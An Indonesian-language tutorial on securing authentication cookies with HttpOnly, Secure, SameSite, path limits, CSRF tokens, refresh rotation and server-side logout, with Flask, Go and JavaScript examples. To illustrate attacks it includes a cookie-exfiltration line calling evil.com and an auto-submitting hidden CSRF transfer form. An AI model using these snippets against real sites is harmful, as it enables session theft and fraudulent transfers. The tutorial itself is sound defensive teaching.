Http Only Cookie #
Ketika developer baru pertama kali mengimplementasikan autentikasi berbasis token, pola yang paling sering dipilih adalah: simpan token di localStorage, baca dengan JavaScript, kirim di header Authorization. Pola ini terasa intuitif dan mudah — JavaScript bisa membaca token kapan saja, tidak perlu konfigurasi khusus, bekerja lintas domain dengan mudah.
Yang tidak langsung terlihat: setiap token yang bisa dibaca JavaScript juga bisa dicuri oleh JavaScript. Dan JavaScript yang berjalan di browser user tidak selalu JavaScript yang kamu tulis — bisa juga JavaScript dari XSS, dari third-party script yang dikompromikan, atau dari library npm yang mengandung malicious code. Satu titik kelemahan di mana script asing bisa berjalan, dan semua token di localStorage menjadi milik attacker.
HttpOnly cookie menyelesaikan masalah ini dengan cara yang elegan: token disimpan di cookie yang tidak bisa diakses JavaScript sama sekali. Browser mengirimkannya otomatis di setiap request, tapi tidak ada API JavaScript yang bisa membacanya — bahkan di bawah XSS sekalipun. Hasilnya: session yang dicuri via JavaScript menjadi mustahil, meskipun ada celah XSS di aplikasi.
Cara Kerja Cookie dan Atribut-atributnya #
Cookie adalah pasangan key-value yang disimpan oleh browser dan dikirim otomatis ke server di setiap request yang cocok. Setiap cookie bisa dikonfigurasi dengan sejumlah atribut yang menentukan kapan, di mana, dan bagaimana ia dikirim.
Anatomi cookie lengkap:
Set-Cookie: session=eyJhbGc...; \
HttpOnly; \
Secure; \
SameSite=Lax; \
Path=/; \
Domain=app.contoh.com; \
Max-Age=86400
Penjelasan setiap atribut:
session=eyJhbGc... → nama dan nilai cookie
HttpOnly → JavaScript tidak bisa membaca/menulis cookie ini
Secure → hanya dikirim via HTTPS, tidak pernah via HTTP
SameSite=Lax → kapan cookie dikirim pada cross-site request
Path=/ → cookie berlaku untuk semua path di domain ini
Domain=app.contoh.com → cookie hanya untuk subdomain ini (bukan .contoh.com)
Max-Age=86400 → expire setelah 86400 detik (1 hari)
Kelima atribut pertama adalah yang paling penting untuk keamanan. Setiap satu di antaranya yang hilang membuka celah yang berbeda.
HttpOnly: Memutus Akses JavaScript #
Atribut HttpOnly mencegah JavaScript mengakses cookie melalui document.cookie, fetch, atau API browser apapun. Cookie tetap dikirim oleh browser di setiap HTTP request yang cocok — tapi tidak bisa dibaca, dimodifikasi, atau dihapus dari JavaScript.
// Tanpa HttpOnly — cookie bisa dibaca JavaScript
document.cookie
// → "session=eyJhbGc...; analytics_id=xyz; preferences=dark"
// Semua cookie yang tidak HttpOnly terlihat di sini
// Dengan HttpOnly pada cookie session — cookie tidak muncul di document.cookie
document.cookie
// → "analytics_id=xyz; preferences=dark"
// session cookie tidak ada di sini, meskipun browser tetap mengirimnya ke server
// Attacker yang berhasil XSS pun tidak bisa mencuri token:
fetch('https://evil.com/steal?c=' + document.cookie)
// Cookie session tidak ada dalam document.cookie — tidak bisa dicuri
sequenceDiagram
participant JS as JavaScript (XSS/Third-party)
participant B as Browser
participant S as Server
Note over JS,S: Skenario tanpa HttpOnly
JS->>B: document.cookie
B->>JS: "session=eyJhbGc..." ← token dicuri!
JS->>S: fetch evil.com?c=eyJhbGc...
Note right of S: Attacker dapat session token
Note over JS,S: Skenario dengan HttpOnly
JS->>B: document.cookie
B->>JS: "" (cookie session tidak ada di sini)
B->>S: [HTTP Request] Cookie: session=eyJhbGc...
Note right of S: Hanya server yang dapat tokenSecure: Memastikan Token Tidak Bisa Di-sniff #
Atribut Secure memastikan cookie hanya dikirim melalui koneksi HTTPS. Tanpa atribut ini, browser mengirimkan cookie bahkan melalui HTTP biasa — yang bisa di-sniff oleh attacker di jaringan yang sama (coffee shop, hotel, kantor).
Serangan tanpa Secure — SSL Stripping:
User di coffee shop terhubung ke WiFi
↓
Attacker menjalankan man-in-the-middle attack
↓
Attacker mengubah HTTPS link menjadi HTTP (SSL stripping)
↓
User membuat request ke http://app.contoh.com (bukan HTTPS)
↓
Cookie tanpa Secure flag ikut terkirim via HTTP
↓
Attacker bisa sniff cookie dari traffic HTTP yang tidak terenkripsi
↓
Session dicuri
Dengan Secure flag:
Browser menolak mengirim cookie via HTTP
→ Serangan SSL stripping tidak bisa mencuri cookie
Secureflag wajib di production. Di local development yang menggunakan HTTP, kamu perlu menonaktifkannya sementara atau menggunakan HTTPS lokal. Jangan pernah deploy ke production tanpaSecureflag pada cookie yang menyimpan token autentikasi.
SameSite: Melindungi dari CSRF #
Atribut SameSite mengontrol kapan browser mengirimkan cookie pada cross-site request. Ini adalah mekanisme pertahanan utama terhadap CSRF (Cross-Site Request Forgery).
Tiga nilai SameSite dan implikasinya:
SameSite=Strict:
Cookie TIDAK dikirim pada cross-site request apapun.
Termasuk saat user mengklik link dari halaman lain.
Contoh:
User sedang di google.com, klik link ke bank.com
→ Cookie bank.com dengan SameSite=Strict tidak dikirim
→ User harus login ulang
Cocok untuk: admin panel, dashboard internal, aplikasi sensitif
Tidak cocok untuk: aplikasi publik (user selalu diminta login ulang)
──────────────────────────────────────────────────────────
SameSite=Lax (default modern browser):
Cookie dikirim pada top-level navigation (klik link, redirect)
tapi TIDAK dikirim pada sub-resource request dari cross-site
(img, iframe, fetch, XHR)
Contoh:
- User klik link dari email ke app.com → cookie dikirim ✓
- Script di evil.com fetch ke app.com → cookie TIDAK dikirim ✓
- Form POST dari evil.com ke app.com → cookie TIDAK dikirim ✓
Cocok untuk: sebagian besar aplikasi web publik
──────────────────────────────────────────────────────────
SameSite=None; Secure:
Cookie dikirim pada semua request, termasuk cross-site.
Wajib dikombinasikan dengan Secure.
Cocok untuk: third-party widget, SSO antar domain, payment gateway
Tidak cocok untuk: session autentikasi utama
# Implementasi cookie dengan semua atribut yang tepat (Flask)
from flask import make_response
from datetime import timedelta
def set_auth_cookie(response, session_token, remember_me=False):
max_age = timedelta(days=30) if remember_me else timedelta(hours=8)
response.set_cookie(
key='session',
value=session_token,
max_age=int(max_age.total_seconds()),
httponly=True, # tidak bisa diakses JavaScript
secure=True, # hanya via HTTPS (nonaktifkan di local dev)
samesite='Lax', # perlindungan CSRF dasar
path='/', # berlaku untuk semua path
domain=None, # tidak set domain = hanya untuk exact host
)
return response
# Untuk endpoint login:
@app.route('/login', methods=['POST'])
def login():
# ... validasi credentials ...
session_token = create_session(user.id)
response = make_response(jsonify({'status': 'ok', 'user_id': user.id}))
set_auth_cookie(response, session_token)
return response
// Implementasi di Go (net/http)
func setAuthCookie(w http.ResponseWriter, sessionToken string) {
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
Path: "/",
MaxAge: 28800, // 8 jam dalam detik
HttpOnly: true, // tidak bisa diakses JavaScript
Secure: true, // hanya via HTTPS
SameSite: http.SameSiteLaxMode,
})
}
// Untuk logout — invalidasi cookie
func logout(w http.ResponseWriter, r *http.Request) {
// Hapus cookie dengan mengset MaxAge = -1 (atau Expires di masa lalu)
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: "",
Path: "/",
MaxAge: -1, // hapus cookie
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
// Invalidasi session di server (penting!)
sessionID := getSessionFromCookie(r)
invalidateSession(sessionID)
}
Cookie vs localStorage: Perbandingan yang Sering Salah Dipahami #
Perdebatan antara menyimpan token di cookie vs localStorage sering disederhanakan menjadi “keduanya ada kekurangannya”. Tapi kekurangannya sangat tidak simetris.
Perbandingan cookie (HttpOnly) vs localStorage:
┌─────────────────────────┬────────────────────────┬────────────────────────┐
│ Aspek │ HttpOnly Cookie │ localStorage │
├─────────────────────────┼────────────────────────┼────────────────────────┤
│ Bisa dicuri via XSS │ Tidak │ Ya — langsung │
│ Bisa dicuri via CSRF │ Bisa (dengan mitigasi) │ Tidak (tidak otomatis) │
│ Otomatis dikirim server │ Ya │ Tidak (manual di JS) │
│ Bekerja lintas subdomain│ Bisa (atur Domain) │ Tidak (same-origin) │
│ Persist setelah tab tutup│ Bisa (Max-Age) │ Ya (selalu) │
│ Bisa diakses JS │ Tidak │ Ya │
│ Risiko XSS │ Rendah (token aman) │ Tinggi (token dicuri) │
│ Risiko CSRF │ Perlu mitigasi │ Tidak ada CSRF │
│ Kemudahan implementasi │ Perlu konfigurasi │ Mudah │
└─────────────────────────┴────────────────────────┴────────────────────────┘
Kesimpulan:
XSS jauh lebih umum dari CSRF (dan CSRF bisa dimitigasi dengan SameSite + CSRF token)
→ HttpOnly Cookie lebih aman untuk token autentikasi
→ localStorage untuk token autentikasi adalah pilihan yang salah
Trade-off: HttpOnly Cookie dan CSRF #
Salah satu kelemahan HttpOnly cookie adalah cookie dikirim otomatis oleh browser pada setiap request ke domain yang sesuai — termasuk request yang dipicu dari website lain. Inilah dasar dari serangan CSRF.
Serangan CSRF yang memanfaatkan cookie:
1. User login ke bank.com → mendapat cookie session (HttpOnly)
2. User mengunjungi evil.com (tetap punya session bank yang aktif)
3. evil.com memiliki form tersembunyi:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000000">
</form>
<script>document.forms[0].submit()</script>
4. Browser mengirim POST ke bank.com — termasuk cookie session!
5. Bank.com menerima request yang terlihat valid
Dengan localStorage:
Browser tidak otomatis mengirim token → CSRF tidak terjadi
Tapi... semua XSS bisa mencuri token dari localStorage
Trade-off yang jelas: CSRF vs XSS
HttpOnly + SameSite + CSRF token mengatasi kedua risiko
Cara menangani CSRF dengan cookie: kombinasikan HttpOnly cookie dengan CSRF token. Cookie menyimpan session, CSRF token (yang berbeda untuk setiap form) memverifikasi bahwa request berasal dari halaman yang legitimate.
# Implementasi CSRF protection dengan Flask-WTF
from flask_wtf.csrf import CSRFProtect, generate_csrf
csrf = CSRFProtect(app)
# Setiap form HTML otomatis dapat CSRF token
# Di template:
# <form method="POST">
# {{ form.hidden_tag() }} ← CSRF token otomatis dimasukkan
# ...
# </form>
# Untuk API endpoint yang diakses via JavaScript (SPA):
@app.route('/api/transfer', methods=['POST'])
def transfer():
# Flask-WTF mengecek CSRF token dari header X-CSRFToken
# Token ini bisa diambil dari cookie csrf_token (yang TIDAK HttpOnly)
# lalu dikirim sebagai header oleh JavaScript
pass
# Setup CSRF token yang bisa dibaca JavaScript (bukan HttpOnly!)
@app.after_request
def inject_csrf_token(response):
response.set_cookie(
'csrf_token',
generate_csrf(),
secure=True,
samesite='Lax'
# Tidak ada HttpOnly! JavaScript perlu membaca ini untuk dikirim sebagai header
)
return response
// Frontend: ambil CSRF token dari cookie dan kirim sebagai header
function getCookie(name) {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
return match ? match[2] : null;
}
// Setiap request yang memodifikasi data harus menyertakan CSRF token
async function transferFunds(to, amount) {
const csrfToken = getCookie('csrf_token'); // bisa dibaca karena tidak HttpOnly
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRFToken': csrfToken // server verifikasi header ini
},
body: JSON.stringify({ to, amount }),
credentials: 'include' // sertakan session cookie (HttpOnly)
});
return response.json();
}
Pola Token Refresh yang Aman #
Aplikasi modern sering menggunakan access token yang short-lived dikombinasikan dengan refresh token. Pola yang aman menggunakan cookie untuk keduanya dengan konfigurasi berbeda.
sequenceDiagram
participant C as Client (Browser)
participant A as Auth Server
participant R as Resource Server
C->>A: POST /login {email, password}
A->>C: Set-Cookie: access_token=...; HttpOnly; Secure; Max-Age=900
Set-Cookie: refresh_token=...; HttpOnly; Secure; Path=/auth/refresh; Max-Age=2592000
Note over C: Access token: 15 menit<br/>Refresh token: 30 hari<br/>Keduanya HttpOnly
C->>R: GET /api/data [Cookie: access_token=...]
R->>C: 200 OK {data...}
Note over C: 15 menit berlalu, access token expired
C->>R: GET /api/data [Cookie: access_token=expired]
R->>C: 401 Unauthorized
C->>A: POST /auth/refresh [Cookie: refresh_token=...]
A->>C: Set-Cookie: access_token=NEW...; HttpOnly; Secure; Max-Age=900
C->>R: GET /api/data [Cookie: access_token=NEW...]
R->>C: 200 OK {data...}# Implementasi token refresh yang aman
@app.route('/auth/refresh', methods=['POST'])
def refresh_tokens():
# Ambil refresh token dari cookie (tidak dari body request)
refresh_token = request.cookies.get('refresh_token')
if not refresh_token:
return jsonify({'error': 'No refresh token'}), 401
# Validasi refresh token
try:
payload = verify_refresh_token(refresh_token)
except InvalidTokenError:
# Hapus cookie yang tidak valid
response = make_response(jsonify({'error': 'Invalid refresh token'}), 401)
response.delete_cookie('refresh_token')
return response
# Generate token baru
new_access_token = create_access_token(payload['user_id'])
new_refresh_token = create_refresh_token(payload['user_id'])
# Rotate refresh token (hapus yang lama, buat yang baru)
invalidate_refresh_token(refresh_token)
response = make_response(jsonify({'status': 'ok'}))
# Access token: short-lived, bisa dibaca dari semua path
response.set_cookie(
'access_token', new_access_token,
httponly=True, secure=True, samesite='Lax',
max_age=900, # 15 menit
path='/'
)
# Refresh token: long-lived, HANYA dikirim ke /auth/refresh
response.set_cookie(
'refresh_token', new_refresh_token,
httponly=True, secure=True, samesite='Lax',
max_age=2592000, # 30 hari
path='/auth/refresh' # path terbatas — penting!
)
return response
Mengapa refresh token harus dibatasi path-nya:
path='/auth/refresh' berarti:
→ Cookie hanya dikirim ke /auth/refresh
→ Request ke /api/*, /admin/*, dsb tidak menyertakan refresh_token
→ Jika ada SSRF atau request yang tidak terduga ke domain ini,
refresh_token tidak ikut terekspos
path='/' (tidak terbatas) berarti:
→ Refresh token dikirim ke semua endpoint
→ Jika ada endpoint yang bocor token (SSRF, log request headers),
refresh token ikut terekspos
Cookie Prefix: Perlindungan Tambahan #
Browser modern mendukung dua cookie prefix yang menambahkan perlindungan ekstra tanpa konfigurasi tambahan:
Cookie prefix yang tersedia:
__Secure- prefix:
→ Browser hanya menerima cookie ini jika memenuhi:
- Dikirim via HTTPS
- Memiliki Secure flag
Contoh: __Secure-session=eyJhbGc...
__Host- prefix (lebih ketat):
→ Browser hanya menerima cookie ini jika memenuhi:
- Dikirim via HTTPS
- Memiliki Secure flag
- Path harus /
- Tidak ada Domain attribute (hanya untuk exact host, bukan subdomain)
Contoh: __Host-session=eyJhbGc...
Keuntungan __Host-:
Mencegah cookie injection dari subdomain yang dikompromikan.
Jika evil.app.contoh.com dikompromikan, ia tidak bisa set cookie
yang berlaku untuk app.contoh.com.
# Menggunakan __Host- prefix (rekomendasi untuk cookie session)
response.set_cookie(
'__Host-session', # prefix menambahkan constraint otomatis
value=session_token,
httponly=True,
secure=True,
samesite='Lax',
path='/', # wajib '/' untuk __Host- prefix
# domain tidak di-set — wajib untuk __Host- prefix
)
Logout yang Benar #
Salah satu kesalahan yang sering terjadi: logout hanya menghapus cookie di client tanpa menginvalidasi session di server.
# ANTI-PATTERN: logout hanya hapus cookie, tidak invalidasi session di server
@app.route('/logout')
def logout_unsafe():
response = make_response(redirect('/'))
response.delete_cookie('session')
# Session di server masih aktif!
# Jika attacker sudah mencuri token sebelumnya, mereka masih bisa pakai
return response
# BENAR: invalidasi session di server SEBELUM hapus cookie
@app.route('/logout')
def logout_safe():
session_token = request.cookies.get('session')
if session_token:
# Invalidasi session di database/Redis
invalidate_session(session_token)
response = make_response(redirect('/login'))
# Hapus semua auth cookie
response.set_cookie('session', '', expires=0, httponly=True,
secure=True, samesite='Lax')
response.set_cookie('refresh_token', '', expires=0, httponly=True,
secure=True, samesite='Lax', path='/auth/refresh')
return response
Anti-Pattern yang Harus Dihindari #
# ✗ Anti-pattern 1: token autentikasi tanpa HttpOnly
response.set_cookie('token', jwt_token)
# JavaScript bisa baca: document.cookie → "token=eyJhbGc..."
# XSS = token dicuri
# ✗ Anti-pattern 2: Secure flag tidak ada di production
response.set_cookie('session', token, httponly=True) # lupa Secure!
# Cookie dikirim via HTTP di jaringan yang tidak aman
# ✗ Anti-pattern 3: SameSite=None tanpa Secure
response.set_cookie('session', token, samesite='None') # tanpa Secure
# Browser modern menolak cookie ini
# ✗ Anti-pattern 4: menyimpan JWT di localStorage
localStorage.setItem('access_token', jwt)
// XSS bisa baca: localStorage.getItem('access_token')
# ✗ Anti-pattern 5: Domain terlalu luas
response.set_cookie('session', token, domain='.contoh.com')
# Cookie berlaku untuk semua subdomain termasuk evil.contoh.com
# Subdomain yang dikompromikan bisa baca cookie ini
# ✗ Anti-pattern 6: logout tanpa invalidasi server-side
# Hanya delete cookie, tidak hapus session di database/Redis
response.delete_cookie('session')
# Token yang sudah dicuri attacker sebelum logout masih valid
Checklist Cookie Security #
ATRIBUT COOKIE:
□ HttpOnly: true — untuk semua cookie yang menyimpan token autentikasi
□ Secure: true — wajib di production
□ SameSite: Lax atau Strict — sesuai kebutuhan aplikasi
□ Max-Age atau Expires — jangan biarkan cookie tidak punya expiry
□ Path: terbatas sesuai kebutuhan (refresh token hanya ke /auth/refresh)
□ Domain: tidak di-set (biarkan default) atau set sesempit mungkin
PENYIMPANAN TOKEN:
□ Session token / refresh token: HttpOnly cookie
□ CSRF token: cookie biasa (bukan HttpOnly, perlu dibaca JS)
□ Access token untuk SPA: bisa di cookie atau memory JS (bukan localStorage)
□ Tidak ada token autentikasi di localStorage atau sessionStorage
CSRF PROTECTION:
□ SameSite=Lax minimum untuk semua cookie autentikasi
□ CSRF token untuk endpoint yang memodifikasi data
□ Origin atau Referer header divalidasi untuk request sensitif
LIFECYCLE:
□ Session di-invalidasi di server saat logout (bukan hanya hapus cookie)
□ Refresh token di-rotate setiap kali digunakan
□ Session expired setelah idle timeout yang wajar
□ Session expired setelah absolute timeout (meski aktif)
PREFIX:
□ Pertimbangkan __Host- prefix untuk cookie session
□ Pastikan tidak ada subdomain yang bisa inject cookie ke parent domain
Ringkasan #
- HttpOnly adalah fondasi keamanan token autentikasi — cookie dengan HttpOnly tidak bisa diakses JavaScript, memutus vektor pencurian token via XSS meskipun ada celah XSS di aplikasi.
- HttpOnly tidak mencegah XSS — ia mencegah konsekuensi terparahnya — session tidak bisa dicuri, tapi attacker masih bisa melakukan hal lain via XSS. Perbaiki XSS-nya, tapi gunakan HttpOnly sebagai defense in depth.
- Secure flag wajib di production — tanpa Secure, cookie dikirim via HTTP yang bisa di-sniff di jaringan terbuka. HttpOnly + Secure harus selalu berpasangan.
- SameSite=Lax adalah default yang tepat untuk sebagian besar aplikasi — melindungi dari CSRF pada request cross-site sambil tetap memungkinkan navigasi normal.
- localStorage tidak aman untuk token autentikasi — setiap XSS bisa langsung membaca localStorage. Cookie HttpOnly jauh lebih aman meskipun perlu penanganan CSRF.
- CSRF adalah trade-off dari cookie, bukan alasan menghindarinya — HttpOnly + SameSite + CSRF token mengatasi CSRF. Kombinasi ini lebih aman dari localStorage yang terbuka terhadap XSS.
- Refresh token butuh pembatasan path — simpan refresh token dengan
path='/auth/refresh'sehingga ia hanya dikirim ke endpoint yang memang membutuhkannya, bukan ke semua endpoint.- Logout harus invalidasi session di server — menghapus cookie di client tidak cukup. Token yang sudah dicuri sebelum logout tetap valid jika session tidak di-invalidasi di server.
- Cookie prefix
__Host-menambahkan perlindungan terhadap subdomain attack — mencegah subdomain yang dikompromikan untuk inject cookie ke parent domain.- CSRF token (bukan HttpOnly) dan session cookie (HttpOnly) bekerja bersama — CSRF token perlu bisa dibaca JavaScript untuk dikirim sebagai header, session cookie perlu HttpOnly agar tidak dicuri.